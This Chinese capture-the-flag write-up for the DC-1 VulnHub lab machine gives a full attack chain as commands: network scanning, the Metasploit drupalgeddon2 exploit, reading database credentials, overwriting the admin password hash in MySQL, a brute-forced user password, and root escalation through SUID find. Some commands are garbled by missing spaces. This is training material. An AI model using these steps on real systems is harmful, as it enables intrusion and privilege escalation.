DC-1靶机
Posted bingtang123
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DC-1靶机相关的知识,希望对你有一定的参考价值。
仅供个人娱乐
靶机信息
下载地址:https://download.vulnhub.com/dc/DC-1.zip
一、主机扫描
arp-scan -l
nmap -p 1-65535 -A -sV 192.168.216.135

二、信息收集

dirb http://192.168.216.135


使用版本漏洞攻击
search drupal

msf5 > use 4
msf5exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.216.135
rhosts => 192.168.216.135
msf5exploit(unix/webapp/drupal_drupalgeddon2) > run


得到shell
python -c ‘import pty;pty.spawn("/bin/bash");‘

信息收集


www-data@DC-1:/var/www$ cd sites/default
cd sites/default

www-data@DC-1:/var/www/sites/default$ catsettings.php
ps aux | grep mysql

进入数据库

数据库信息收集


密码都做了hash加密,解密不了
重置密码http://drupalchina.cn/node/1964
直接进入drupal的安装目录,然后运行命令
php ./scripts/password-hash.sh 12345

登录mysql修改密码
UPDATE users SET pass = ‘$S$DZyKe31ZRwS4msLQYHacPaiIpOZIwHsblIeObnCuz4o3OeGDMblJ‘ where uid = 1;

登录账户
信息收集


爆破flag4后获得密码orange
flag4@DC-1:~$ touch getflag
flag4@DC-1:~$ find / -type f -name getflag-exec "whoami" ;
root
flag4@DC-1:~$ find / -type f -name getflag-exec "/bin/bash" ;

以上是关于DC-1靶机的主要内容,如果未能解决你的问题,请参考以下文章